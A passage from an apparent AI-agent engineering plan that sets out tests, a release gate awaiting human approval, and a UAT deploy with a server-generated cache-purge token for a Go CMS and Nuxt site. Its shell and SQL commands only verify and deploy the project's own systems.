<automated>S=$(mktemp -d) &amp;&amp; rsync -a --exclude node_modules --exclude .output --exclude .nuxt ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/ "$S/app/" &amp;&amp; printf 'overrides:\n vue-journal-layer: link:%s\n' "$(cd ../vue-journal-layer &amp;&amp; pwd)" &gt;&gt; "$S/app/pnpm-workspace.yaml" &amp;&amp; pnpm -C "$S/app" install --no-frozen-lockfile &amp;&amp; pnpm -C "$S/app" build &amp;&amp; node ../vue-journal-layer/testing/purge-check.mjs --output "$S/app/.output" --fixtures ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/api --kind category --slug cordyceps --path /cordyceps | tail -1 | grep '^purge-check: ok'</automated>
<fails_when>Non-zero exit or no "purge-check: ok": the host app, built in a scratch copy against the local layer (nothing in the real app checkout changes), does not purge its root-level category page /cordyceps under its own route rules.</fails_when>
<automated>grep -c 'SUMMER_GOLEM15__JOURNAL__SITE_CACHE__PURGE_TOKEN' ../sm-grzybyfunkcjonalne-app/deploy/env.example ../sm-grzybyfunkcjonalne-app/DEPLOY.md | grep -c ':0$' | grep -qx 0 &amp;&amp; grep -q 'NUXT_JOURNAL_CACHE_PURGE_TOKEN' ../sm-grzybyfunkcjonalne-app/deploy/nuxt.env.example &amp;&amp; grep -q 'NUXT_JOURNAL_CACHE_PURGE_TOKEN' ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/README.md &amp;&amp; grep -q 'NUXT_JOURNAL_CACHE_PURGE_TOKEN' ../vue-journal-layer/README.md &amp;&amp; grep -q 'site_cache.purge_url' ../sm-journal-plugin/README.md &amp;&amp; echo docs-ok</automated>
<fails_when>Non-zero exit or no docs-ok: a deploy template, DEPLOY.md, the app README, the layer README or the Journal README does not name its new setting.</fails_when>
</verify>
<acceptance_criteria>
- posts.go and categories.go each implement FormAfterCreate, FormAfterUpdate and FormAfterDelete (`grep -cE "func \(.*\) FormAfter(Create|Update|Delete)\(" ` prints 3 for each file), each reaching PurgeSiteCacheAfterCommit (`grep -c "PurgeSiteCacheAfterCommit"` prints at least 1 for each file; Task 3's Postgres tests prove all six paths).
- `grep -n "privateRevalidate" ../vue-journal-layer/server/plugins/journal-revalidate.ts` prints at least one line.
- All four verify commands pass; the real vue-grzybyfunkcjonalne-app checkout has no pnpm-workspace override and its package.json still pins #v0.2.0 (`git -C ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app diff --quiet -- package.json pnpm-lock.yaml pnpm-workspace.yaml`).
</acceptance_criteria>
<done>Every admin post and category write purges after its commit, misconfiguration fails at boot, route-cached pages tell browsers to revalidate, the host app purges its own category page in a scratch build, and the READMEs and deploy files describe the setting.</done>
</task>
<task type="auto" tdd="true">
<name>Task 3: Tests: G-16.2-1 conformance cases, Docker-free inventory and the stale Journal assertion; full coverage of the purge; gate stages; full gate green including postgres</name>
<precondition>`docker info` exits 0 on this machine.</precondition>
<files>modules/cabana/openapi_conformance_test.go, scripts/check-phase16.2.sh, .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-PATTERNS.md, .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-VALIDATION.md, ../sm-journal-plugin/plugin_test.go, ../sm-journal-plugin/classes/site_cache_test.go, ../sm-journal-plugin/site_cache_admin_test.go, ../vue-journal-layer/tests/siteCache.test.ts</files>
<read_first>.planning/debug/postgres-gate-field-types-conformance.md (Evidence and suggested_fix_direction); modules/cabana/openapi_conformance_test.go (conformCase, TestPhase10OpenAPIConformance with the coverage loop near line 400, conformEnv helpers upload/send/assertPluginAsset, newConformEnv, conformGadget, conformPlugin, conformFS and the gadget fields.yaml); modules/cabana/export_test.go (AdminAPIRoutes); modules/cabana/field_type.go (FieldTypeAssets, FieldTypesResponse, FieldUploadResponse, compileFieldTypes rules); modules/cabana/field_type_upload.go; modules/pact/capabilities.go (FormFieldType, FormFieldUpload, FormFieldUploadResult, HasFormFieldTypes); admin/openapi/admin.json (both routes); scripts/check-phase16.2.sh (all of it); ../sm-journal-plugin/plugin_test.go (TestJournalSVGEmbed); ../sm-journal-plugin/models/post/fields.yaml; the Task 1 and Task 2 Go and layer files; ../vue-journal-layer/tests/routes.test.ts (node --test style); .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-PATTERNS.md (line 24 and the field_type_upload.go section); .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-VALIDATION.md (Per-Task Verification Map)</read_first>
<behavior>
- Inventory (no database): every inventoried admin route has exactly one conformance case; a missing, extra or duplicate key fails with all offending keys listed in sorted order; the test passes under -short with no Docker.
- GET /field-types: 200; the body decodes into cabana.FieldTypesResponse with unknown fields disallowed; admin.json documents cabana.FieldTypesResponse; the fixture type is listed with its element and a script URL that serves with ETag and the ?v= hash.
- Field upload: a multipart part named file to the fixture field answers 201; the body decodes into cabana.Envelope[cabana.FieldUploadResponse]; admin.json documents cabana.Envelope-cabana_FieldUploadResponse; the existing create, update and show cases still pass with the plugin-typed field on the gadget form.
- TestJournalSVGEmbed: post content is `type: mlblogeditor` with `htmlColumn: content_html`.
- NewSiteCachePurger table: both empty gives disabled; only URL or only token, a bad scheme, no host, user info, a fragment, http to a non-loopback host and a 31-character token are each refused with the key in the error; https to any host, and http to 127.0.0.1, ::1 and localhost with a 32-character token are accepted.
- Purge request: POST, the configured path, the Bearer token, the JSON content type and body; an Info log with purged from the answer; a 500 and a 401 answer each give one Warn line; a receiver slower than the timeout returns within about 2 s; a cancelled parent context still sends; no captured log line contains the token; a nil purger sends nothing.
- Categories on Postgres: create, update and delete each send one purge with kind category after the commit; a failed update (validation 422) sends none.
- Posts on Postgres: create, an untouched update (content and content_html still byte-identical, D-03) and delete each send one purge with kind post; with the receiver answering 500, and with no receiver listening, the save still answers 200 and the row is saved; a failed save sends none.
- Layer (node --test, exact names): "purge auth: a missing or short token disables the route", "purge auth: a proxied request is refused before the token is checked", "purge auth: a missing or wrong bearer token is unauthorized", "purge removes every route cache entry and only those"; plus parsePurgeEvent cases (kinds, control characters, 200-character cap, non-object bodies) and privateRevalidate cases (s-maxage with and without max-age, the 304 form "public, max-age=300, s-maxage=300", a static "public, max-age=31536000, immutable" unchanged, an empty value unchanged).
</behavior>
<action>Write the tests in the behavior block, close G-16.2-1, extend the gate and run it in full.
summercms.go (G-16.2-1, per D-13 and D-18):
- Move the case list of TestPhase10OpenAPIConformance into a package-level `conformCases() []conformCase`. The closures already take the env as a parameter.
- Add `checkConformInventory(t *testing.T, cases []conformCase)`. It reports every missing key in sorted order, plus every extra or duplicate key, in one failure.
- The new `TestPhase10ConformanceInventory` calls it with no database. TestPhase10OpenAPIConformance calls it before newConformEnv, so the static check can no longer hide behind the testcontainers setup.
- Add the two cases.
- GET /field-types: status 200, ref `cabana.FieldTypesResponse`, decode `into[cabana.FieldTypesResponse]()`. The call asserts the fixture type is listed and checks its script with `e.assertPluginAsset`.
- POST /{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload: status 201, ref `cabana.Envelope-cabana_FieldUploadResponse`, decode `into[cabana.Envelope[cabana.FieldUploadResponse]]()`. Send a multipart part named `file` with the requireAjax header to the gadget's fixture field. Use an id the route accepts: 0 for a new record, or a gadget created earlier in the case list.
- Fixture changes:
- conformPlugin implements `pact.HasFormFieldTypes` with one type: an alias such as `conformnote`, an element under the `acme-conform-` widget tag prefix, a script already in conformFS, Decode returning the string, Load returning the stored value, and Upload returning a URL.
- conformGadget gets a nullable `note` column, and the gadget fields.yaml gets a `note` field of that type.
- The existing create, update and show cases now Decode and Load the note; keep them passing.
- `scripts/check-phase16.2.sh`:
- FRAMEWORK_RUN and FRAMEWORK_REQUIRE gain TestPhase10ConformanceInventory.
- JOURNAL_REQUIRE gains TestSiteCachePurgeConfig and TestSiteCachePurgeRequest.
- PG_FRAMEWORK_REQUIRE gains TestPhase10OpenAPIConformance.
- PG_JOURNAL_REQUIRE gains TestCategoriesAdminPurgesSiteCache and TestPostsAdminPurgesSiteCache.
- LAYER_REQUIRE gains the four layer test names.
- Add a new stage `cache`. Wire it into usage, the case statement (cache and --cache), run_all after layer, and the self-test mode loop.
- It runs `pnpm -C "$LAYER" run build:playground`.
- It runs purge-check on the playground (post hello-acme at /blog/hello-acme) and fails unless the last line starts with "purge-check: ok".
- Then it runs the acme SSR smoke against the same build: `node "$LAYER/testing/smoke-ssr.mjs" --output "$LAYER/.playground/.output" --fixtures "$LAYER/testing/fixtures/acme" --expect "$LAYER/testing/expect-acme.txt"`.
- Update the header comment for the new stage and names.
sm-journal-plugin:
- In `plugin_test.go`, TestJournalSVGEmbed asserts `type: mlblogeditor` and `htmlColumn: content_html` for post content. This is the intended 16.2-03 change (D-08); no other assertion changes.
- `classes/site_cache_test.go`: TestSiteCachePurgeConfig and TestSiteCachePurgeRequest. Capture logs with a slog handler on a buffer; use httptest.
- Extend `site_cache_admin_test.go` as the behavior block lists. The receiver records requests and can answer 500. To test the "nothing listening" case, close it before the save.
vue-journal-layer:
- `tests/siteCache.test.ts` uses node --test with erasable TypeScript only and the exact names above. Use a fake storage whose keys include nitro:routes entries and other cache groups.
Docs (summercms.go, one separate docs(16.2) commit):
- 16.2-PATTERNS.md: name `modules/cabana/openapi_conformance_test.go` (one conformCase per new admin route; TestPhase10ConformanceInventory enforces it without Docker) in two places. First, the `admin_openapi.go` table row. Second, the sentence of the field_type_upload.go section that lists admin_openapi.go and phase09Routes.
- 16.2-VALIDATION.md: add the 16.2-07-T1 to T6 rows to the per-task map, with their commands, and move the Docker-host suites from Manual-Only to automated.
Then run `PHASE162_REQUIRE_POSTGRES=1 bash scripts/check-phase16.2.sh --all`. If a suite exposes a production defect, fix it in a separate fix(...) commit with its own test, and name it in the SUMMARY. Commit tests per repository as test(...) commits, and the gate as "test(16.2-07): ...", staged by explicit path.</action>
<verify>
<automated>go vet ./modules/cabana &amp;&amp; go test -count=1 -short -run '^TestPhase10ConformanceInventory$' -v ./modules/cabana 2&gt;&amp;1 | grep -- '^--- PASS: TestPhase10ConformanceInventory'</automated>
<fails_when>No PASS line: the inventory test needs a database (it must pass under -short), or an inventoried route still has no conformance case.</fails_when>
<automated>go test -count=1 -timeout 15m -run '^TestPhase10OpenAPIConformance$' -v ./modules/cabana 2&gt;&amp;1 | grep -- '^--- PASS: TestPhase10OpenAPIConformance'</automated>
<fails_when>No PASS line: a case fails its status, its decode with unknown fields disallowed, or the admin.json ref, including the two new cases.</fails_when>
<automated>L=$(mktemp) &amp;&amp; { PHASE162_REQUIRE_POSTGRES=1 bash scripts/check-phase16.2.sh --all &gt; "$L" 2&gt;&amp;1; grep -qx 'PASS postgres' "$L" &amp;&amp; grep -qx 'PASS cache' "$L" &amp;&amp; tail -1 "$L" | grep -qx 'Phase 16.2 gate passed'; }</automated>
<fails_when>Non-zero exit: any stage fails (self-test, go, admin, editor, layer, cache, docs, postgres), a required test is missing by name, or the last line is not exactly "Phase 16.2 gate passed". This includes the UAT Test 1 suites and TestJournalSVGEmbed in the postgres stage.</fails_when>
</verify>
<acceptance_criteria>
- `grep -n "func TestPhase10ConformanceInventory" modules/cabana/openapi_conformance_test.go` prints one line; `grep -c "TestPhase10ConformanceInventory" scripts/check-phase16.2.sh` prints at least 2 (run regex and required list).
- `grep -n "fields/{field}/upload" modules/cabana/openapi_conformance_test.go` and `grep -n '"GET /field-types"' modules/cabana/openapi_conformance_test.go` each print at least one line.
- `grep -n "openapi_conformance_test.go" .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-PATTERNS.md` prints at least two lines.
- `grep -n "type: mlblogeditor" ../sm-journal-plugin/plugin_test.go` prints at least one line.
- The three verify commands pass; the gate log (in the SUMMARY) shows PASS for every stage, including postgres and cache.
</acceptance_criteria>
<done>The gate's postgres stage is green on this Docker host, the route-coverage invariant is enforced without Docker, and the purge has full unit and Postgres coverage in the fail-closed gate.</done>
</task>
<task type="checkpoint:decision" gate="blocking-human">
<name>Task 4: Release gate: clean trees, tags chosen, UAT state read, a human approves the pushes, the tags and the UAT deploy (with the server-generated purge token)</name>
<read_first>../sm-grzybyfunkcjonalne-app/DEPLOY.md (Build and upload, Release, Smoke, Rollback); .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-05-SUMMARY.md (deviations: Nuxt rollback path, log anchor); .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-REVIEW-FIX.md and 16.2-SECURITY.md when present; the Task 3 gate log</read_first>
<action>Do every automatable check, print a release sheet, then stop.
1. Concurrency. Each repository must be clean with nothing missing from origin:
- summercms.go master: `git status --porcelain -- modules admin docs scripts cmd` prints nothing.
- ../sm-journal-plugin main, ../vue-journal-layer main, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app main and ../sm-grzybyfunkcjonalne-app master: `git status --porcelain --untracked-files=no` prints nothing.
- In every repository, after `git fetch origin --tags`, `git log --oneline HEAD..origin/<branch>` prints nothing. If any origin has commits this checkout lacks, stop and report. Do not merge or rebase.
2. Tags:
- summercms: propose the highest `v0.1.*` tag plus one, v0.1.20 unless someone tagged after v0.1.19. Confirm with `git ls-remote --tags origin` that it is absent.
- vue-journal-layer: propose v0.3.0 and confirm it is absent on origin.
3. Read-only on UAT:
- The sha256 and mtime of `/srv/grzybyfunkcjonalne/go/bin/grzybyfunkcjonalne`.
- The count, never the value, of lines starting with SUMMER_GOLEM15__JOURNAL__SITE_CACHE__ in go/.env and NUXT_JOURNAL_CACHE_PURGE_TOKEN in nuxt/.env.
- The SELECTs of Task 6's posts and translations verify, compared with the 16.2-05 snapshot.
- The category 2 row as id:slug:md5(content):updated_at.
4. The release sheet:
- the tags;
- the commits to push per repository (`git log --oneline origin/<branch>..HEAD`, including planning-doc commits);
- the Task 3 gate result;
- every write on the server: the binary, Nuxt output, config/ and scripts/ uploads, the rollback copies, and two lines appended to go/.env and one to nuxt/.env, holding a token generated on the server that is never printed;
- the steps of DEPLOY.md "Release";
- the rollback: move go/bin/grzybyfunkcjonalne.prev and nuxt/.output.prev back and restart both programs. The appended .env lines are inert for the previous build;
- any open high finding from the review or security reports. An open high finding allows only hold.
Then stop for the human.</action>
<decision>Push the branches and the tags summercms v0.1.20 and vue-journal-layer v0.3.0, generate the purge token on the server, and deploy to UAT now?</decision>
<context>A pushed tag is read by other repositories and the Go module proxy and cannot be moved, only superseded (v0.1.21, v0.3.1). The deploy writes the binary, the Nuxt output and two env files on the UAT server, next to the live Winter site, which it does not touch. Task 3 ran the full gate including the Docker suites on this machine.</context>
<options>
<option id="release">
<name>Release and deploy now</name>
<pros>UAT gets the v0.1.19 review fixes plus the purge; Tests 3 and 2 can be re-run at once; rollback is two moves and a restart</pros>
<cons>Two tags are published; a later defect needs the next tags</cons>
</option>
<option id="hold">
<name>Hold</name>
<pros>Nothing leaves this machine</pros>
<cons>UAT keeps the 12:37 build without the review fixes; Tests 2 and 3 stay open</cons>
</option>
</options>
<resume-signal>Reply "release" (with any tag change, for example "release v0.1.21") or "hold".</resume-signal>
<verify>
<automated>bash scripts/check-phase16.2.sh --self-test &amp;&amp; test -z "$(git status --porcelain -- modules admin docs scripts cmd)" &amp;&amp; test -z "$(git ls-remote --tags origin refs/tags/v0.1.20)" &amp;&amp; test -z "$(git -C ../vue-journal-layer ls-remote --tags origin refs/tags/v0.3.0)" &amp;&amp; echo release-gate-ok</automated>
<fails_when>Non-zero exit or no release-gate-ok: the gate self-test fails, summercms.go has uncommitted framework changes, or a proposed tag already exists on origin (then propose the next free tag and record it).</fails_when>
</verify>
<acceptance_criteria>
- The SUMMARY records the release sheet and the human's reply verbatim.
</acceptance_criteria>
<done>A human chose release with named tags, or hold (the plan stops).</done>
</task>
<task type="auto">
<name>Task 5: Release and deploy: tags, pushes, layer pin, host bumps, build, UAT deploy with the server-generated purge token, smoke and an on-server purge check; snapshot for Task 6</name>
<reversibility rating="one-way">Annotated tags summercms v0.1.20 and vue-journal-layer v0.3.0 are read by other repositories' go.mod and package.json; they can only be superseded.</reversibility>
<precondition>Task 4 was answered "release" (RELEASE_TAG and LAYER_TAG set in the session, default v0.1.20 and v0.3.0) and `ssh grzybyfunkcjonalne-uat true` exits 0.</precondition>
<files>../sm-journal-plugin/go.mod, ../vue-journal-layer/package.json, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/pnpm-lock.yaml, ../sm-grzybyfunkcjonalne-app/plugins/golem15/journal, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app</files>
<read_first>../sm-grzybyfunkcjonalne-app/DEPLOY.md (Build and upload, Release, Smoke); ../sm-grzybyfunkcjonalne-app/scripts/build.sh; ../sm-grzybyfunkcjonalne-app/scripts/check-deploy.sh; ../vue-journal-layer/scripts/check-git-install.sh; .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-05-SUMMARY.md (Deploy, Follow-up deploy, deviations); the Task 4 release sheet in this plan's SUMMARY</read_first>
<action>Run the release in this order. Re-check before each push that `git log --oneline HEAD..origin/<branch>` prints nothing.
1. **Framework.** `git tag -a "$RELEASE_TAG"` on summercms.go master HEAD with the message "$RELEASE_TAG: conformance cases for the field types and field upload routes, Docker-free route inventory check, phase 16.2 gate with the site cache purge". Then `git push origin master` and `git push origin "$RELEASE_TAG"`.
2. **Plugin.** `go -C ../sm-journal-plugin mod edit -require=git.golem15.com/golem15/summercms@$RELEASE_TAG`. The replace stays, so the require is nominal. Run `go -C ../sm-journal-plugin vet ./...`, commit go.mod only as "chore(deps): require summercms $RELEASE_TAG", then `git -C ../sm-journal-plugin push origin main`.
3. **Layer.**
- Set package.json version 0.3.0 and commit "chore: release v0.3.0".
- `git -C ../vue-journal-layer tag -a v0.3.0` with the message "v0.3.0: token-protected site cache purge route (POST /api/__journal__/cache/purge) and browser revalidation of route-cached pages".
- Push main and the tag.
- `bash ../vue-journal-layer/scripts/check-git-install.sh v0.3.0`. Run it from a directory outside any vue-journal-layer directory.
4. **Site app** (../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app).
- Change the pin to `git+https://git.golem15.com/golem15/vue-journal-layer.git#v0.3.0`. Run `pnpm install` (the lockfile must record the tag's commit), then `pnpm build` and `pnpm test`.
- Run `node node_modules/vue-journal-layer/testing/purge-check.mjs --output .output --fixtures tests/fixtures/api --kind category --slug cordyceps --path /cordyceps`. It must end with "purge-check: ok".
- Commit package.json and pnpm-lock.yaml as "chore(deps): vue-journal-layer v0.3.0 (site cache purge on Journal saves)" and push main together with the Task 2 docs commit.
5. **Host** (../sm-grzybyfunkcjonalne-app).
- In plugins/golem15/journal, fetch origin and check out the sm-journal-plugin main just pushed. In vue-grzybyfunkcjonalne-app, check out the main just pushed.
- Commit both gitlinks as "chore: bump journal plugin and the site app (site cache purge on admin saves)".
- Push master, which also pushes the Task 2 deploy-docs commit.
6. **Build.** Run `bash ../sm-grzybyfunkcjonalne-app/scripts/check-deploy.sh`, then `bash ../sm-grzybyfunkcjonalne-app/scripts/build.sh`. Record the local sha256 of bin/grzybyfunkcjonalne.
7. **Release on the server**, per DEPLOY.md "Release" with the 16.2-05 corrections.
- Remove the old nuxt/.output.prev, then `cp -a nuxt/.output nuxt/.output.prev`.
- rsync the binary to go/bin/grzybyfunkcjonalne.new, plus config/, scripts/ and build/nuxt/.output/, exactly as DEPLOY.md "Build and upload" lists. Never upload a local .env.
- Compare the sha256 of the .new binary with the local one.
- `cp -p bin/grzybyfunkcjonalne bin/grzybyfunkcjonalne.prev`, then move the .new binary into place.
8. **Purge token, on the server, idempotent and never printed.**
- If go/.env has no line starting with SUMMER_GOLEM15__JOURNAL__SITE_CACHE__PURGE_TOKEN=:
- generate T on the server from 32 bytes of /dev/urandom, base64 with `+/` mapped to `-_` and `=` and newlines removed;
- append `SUMMER_GOLEM15__JOURNAL__SITE_CACHE__PURGE_URL=http://127.0.0.1:3016/api/__journal__/cache/purge` and `SUMMER_GOLEM15__JOURNAL__SITE_CACHE__PURGE_TOKEN=$T` to go/.env, and `NUXT_JOURNAL_CACHE_PURGE_TOKEN=$T` to nuxt/.env, with printf builtins.
- If only one file has its line, stop and report. Never echo T.
- Both files stay mode 0600.
9. **Start.**
- Run `bin/grzybyfunkcjonalne migrate`; it must exit 0.
- Record RESTART_UTC as the server's `date -u +%Y-%m-%dT%H:%M:%SZ`.
- `sudo supervisorctl restart grzybyfunkcjonalne-go grzybyfunkcjonalne-nuxt`.
- Record LOG_ANCHOR, the `client_id=` value of the River line the Go restart logged in /var/log/supervisor/grzybyfunkcjonalne-go.log.
- Run the smoke (first verify).
10. **Checks.** Run the deploy, token and purge verifies. On any failure: move go/bin/grzybyfunkcjonalne.prev and nuxt/.output.prev back, restart both programs and report.
11. **Snapshot for Task 6** (read-only SELECTs, kept in the session and the SUMMARY).
- The posts and translations SELECTs of Task 6's first and third verify. They must already equal the expected rows; if they differ, report it, because the data changed since 16.2-05.
- posts 1 and 64 as id:updated_at.
- category 2 as id:slug:md5(coalesce(content,'')):updated_at.</action>
<verify>
<automated>ssh grzybyfunkcjonalne-uat 'C=$(mktemp -d); printf "resolve = uat.grzybyfunkcjonalne.pl:443:127.0.0.1\n" &gt; "$C/.curlrc"; cd /srv/grzybyfunkcjonalne/go &amp;&amp; CURL_HOME="$C" scripts/smoke.sh --url https://uat.grzybyfunkcjonalne.pl; rc=$?; rm -rf "$C"; exit $rc' | grep '^smoke: ok ('</automated>
<fails_when>Non-zero exit or no line starting with "smoke: ok (": a smoke URL failed on the server.</fails_when>
<automated>test "$(sha256sum ../sm-grzybyfunkcjonalne-app/bin/grzybyfunkcjonalne | cut -d' ' -f1)" = "$(ssh grzybyfunkcjonalne-uat 'sha256sum /srv/grzybyfunkcjonalne/go/bin/grzybyfunkcjonalne' | cut -d' ' -f1)" &amp;&amp; ssh grzybyfunkcjonalne-uat 'sudo supervisorctl status grzybyfunkcjonalne-go grzybyfunkcjonalne-nuxt' | grep -c RUNNING | grep -qx 2 &amp;&amp; test -n "$(git ls-remote --tags origin "refs/tags/$RELEASE_TAG")" &amp;&amp; test -n "$(git -C ../vue-journal-layer ls-remote --tags origin refs/tags/v0.3.0)" &amp;&amp; grep -q 'vue-journal-layer.git#v0.3.0' ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json &amp;&amp; ssh grzybyfunkcjonalne-uat 'test -x /srv/grzybyfunkcjonalne/go/bin/grzybyfunkcjonalne.prev &amp;&amp; test -d /srv/grzybyfunkcjonalne/nuxt/.output.prev' &amp;&amp; echo deploy-ok</automated>
<fails_when>Non-zero exit or no deploy-ok: the server binary differs from the local build, fewer than two programs are RUNNING, a tag is missing on origin, the app does not pin v0.3.0, or a rollback copy is missing.</fails_when>
<automated>ssh grzybyfunkcjonalne-uat 'cd /srv/grzybyfunkcjonalne &amp;&amp; test "$(grep -c "^SUMMER_GOLEM15__JOURNAL__SITE_CACHE__PURGE_TOKEN=" go/.env)" = 1 &amp;&amp; test "$(grep -c "^NUXT_JOURNAL_CACHE_PURGE_TOKEN=" nuxt/.env)" = 1 &amp;&amp; test "$(grep -c "^SUMMER_GOLEM15__JOURNAL__SITE_CACHE__PURGE_URL=http://127.0.0.1:3016/api/__journal__/cache/purge$" go/.env)" = 1 &amp;&amp; a=$(sed -n "s/^SUMMER_GOLEM15__JOURNAL__SITE_CACHE__PURGE_TOKEN=//p" go/.env) &amp;&amp; b=$(sed -n "s/^NUXT_JOURNAL_CACHE_PURGE_TOKEN=//p" nuxt/.env) &amp;&amp; test ${#a} -ge 32 &amp;&amp; test "$a" = "$b" &amp;&amp; echo token-match' | grep -qx token-match</automated>
<fails_when>No token-match: a line is missing or duplicated, the URL differs, the token is shorter than 32 characters, or the two files hold different values. Only the word token-match crosses the connection.</fails_when>
<automated>ssh grzybyfunkcjonalne-uat 'cd /srv/grzybyfunkcjonalne &amp;&amp; C=$(mktemp -d) &amp;&amp; printf "resolve = uat.grzybyfunkcjonalne.pl:443:127.0.0.1\n" &gt; "$C/.curlrc" &amp;&amp; CURL_HOME="$C" curl -s -o /dev/null https://uat.grzybyfunkcjonalne.pl/cordyceps &amp;&amp; T=$(sed -n "s/^NUXT_JOURNAL_CACHE_PURGE_TOKEN=//p" nuxt/.env) &amp;&amp; printf "Authorization: Bearer %s\n" "$T" | curl -s -o "$C/p.json" -w "%{http_code}\n" -X POST -H @- -H "Content-Type: application/json" --data "{\"kind\":\"category\",\"slug\":\"cordyceps\"}" http://127.0.0.1:3016/api/__journal__/cache/purge &amp;&amp; grep -oE "\"purged\": *[0-9]+" "$C/p.json" | grep -oE "[0-9]+$" &amp;&amp; CURL_HOME="$C" curl -s -o /dev/null -w "%{http_code}\n" -X POST https://uat.grzybyfunkcjonalne.pl/api/__journal__/cache/purge &amp;&amp; curl -s -o /dev/null -w "%{http_code}\n" -X POST http://127.0.0.1:3016/api/__journal__/cache/purge; rm -rf "$C"' | paste -sd' ' | grep -Eq '^200 [1-9][0-9]* 403 401$' &amp;&amp; echo purge-ok</automated>
<fails_when>No purge-ok: the authorized loopback purge (token read on the server and passed to curl on stdin) does not answer 200 with purged of at least 1 after the category page was cached, a POST through nginx is not refused with 403, or a loopback POST without a token is not refused with 401.</fails_when>
</verify>
<acceptance_criteria>
- `git -C ../sm-journal-plugin rev-parse main` equals its origin/main and its go.mod requires summercms at RELEASE_TAG; ../vue-journal-layer main equals origin/main and package.json says 0.3.0; check-git-install.sh v0.3.0 passed.
- `git -C ../sm-grzybyfunkcjonalne-app ls-files -s plugins/golem15/journal vue-grzybyfunkcjonalne-app` shows the pushed heads and the host master equals origin/master.
- The four verify commands print their markers.
- The SUMMARY records both tags, every pushed head, both sha256 values, RESTART_UTC, LOG_ANCHOR, the snapshot rows, and no credential or token.
</acceptance_criteria>
<done>UAT runs the released framework, plugin, layer and site from pushed tags and branches; the purge works on the server and is refused from outside; the pre-save snapshot is recorded.</done>
</task>
<task type="checkpoint:human-action" gate="blocking-human">
<name>Task 6: UAT re-run: Test 3 (untouched re-save of posts 1 and 64, D-03) and Test 2 (category edit visible on the next view, D-19)</name>
<precondition>Task 5 printed deploy-ok, token-match and purge-ok; RESTART_UTC, LOG_ANCHOR and the snapshot are set in the session and recorded in the SUMMARY.</precondition>
<read_first>.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-UAT.md (Tests 2 and 3); this plan's SUMMARY (snapshot, RESTART_UTC, LOG_ANCHOR)</read_first>
<action>Print the steps for the human and stop. The executor never asks for, receives or stores a credential.
Human steps:
1. Open https://uat.grzybyfunkcjonalne.pl/cordyceps in the browser. This view caches the page, as in the original failure.
2. In /gfadmin/golem15/journal/posts, open post 1 (10-faktow-na-temat-cordycepsu) and post 64 (ekstrakt-z-turkey-tail). On each, press "Zapisz" without touching the editor. No removal notice may appear (Test 3, D-03).
3. Open /gfadmin/golem15/journal/categories/2, change one word of the content and save. No removal notice may appear (D-10, D-19).
4. Go straight back to the /cordyceps tab and view it again, both by reload and by the site menu link. The change must show on that first view (Test 2).
5. Reply with the phrase as it reads after your edit, and whether you want the word changed back.
After the reply, run the verify commands. Then fetch /cordyceps on the server, resolved to loopback, and count the reported phrase in it. The count must not be 0; record it in the SUMMARY. Mark Tests 2 and 3 for /msd-verify-work. If a check fails, report it and offer the rollback: move go/bin/grzybyfunkcjonalne.prev and nuxt/.output.prev back and restart both programs.</action>
<instructions>
Claude deployed v0.1.20 with the Journal site cache purge and vue-journal-layer v0.3.0, passed the smoke and an on-server purge check, and recorded a snapshot of posts 1 and 64 and category 2.
The human logs in to the UAT admin (basic-auth realm plus an admin account), does steps 1 to 5 and replies.
</instructions>
<verification>Read-only psql on the server compares the posts with the 16.2-05 snapshot and checks updated_at; the Go log after the restart anchor shows successful purges, including one for the category; the category page served on the server is not older than the category's updated_at and contains the human's phrase.</verification>
<resume-signal>Type "saved" with the phrase after the edit, or describe what went wrong.</resume-signal>
<verify>
<automated>ssh grzybyfunkcjonalne-uat "psql -X -d grzybyfunkcjonalne -tAc \"SELECT id || ':' || md5(content) || ':' || md5(content_html) FROM golem15_journal_posts WHERE id IN (1, 64) ORDER BY id\"" | diff - &lt;(printf '%s\n' 1:a026264105f900175b9770e637e5ec5c:a026264105f900175b9770e637e5ec5c 64:0e4be845390b1656871513957d471a7c:e785e14e80f6400534e16b4769749d3c) &amp;&amp; ssh grzybyfunkcjonalne-uat "psql -X -d grzybyfunkcjonalne -tAc \"SELECT string_agg(id || ':' || (updated_at &gt; '$RESTART_UTC'::timestamptz)::int, ' ' ORDER BY id) FROM golem15_journal_posts WHERE id IN (1, 64)\"" | grep -qx '1:1 64:1' &amp;&amp; echo posts-unchanged</automated>
<fails_when>No posts-unchanged: an untouched save changed content or content_html of post 1 or 64, or a post's updated_at did not move past RESTART_UTC (the save did not reach the database).</fails_when>
<automated>ssh grzybyfunkcjonalne-uat "psql -X -d grzybyfunkcjonalne -tAc \"SELECT model_id || ':' || locale || ':' || md5(coalesce(attribute_data, '')) FROM golem15_translate_attributes WHERE model_type LIKE 'Golem15_Journal_Models_Post' AND model_id IN ('1', '64') ORDER BY model_id, locale\"" | grep -qx '64:en:862fc5b362cc9856e6736a2078dca3ba' &amp;&amp; echo translations-unchanged</automated>
<fails_when>No translations-unchanged: the untouched saves added, removed or changed a translation row of posts 1 or 64.</fails_when>
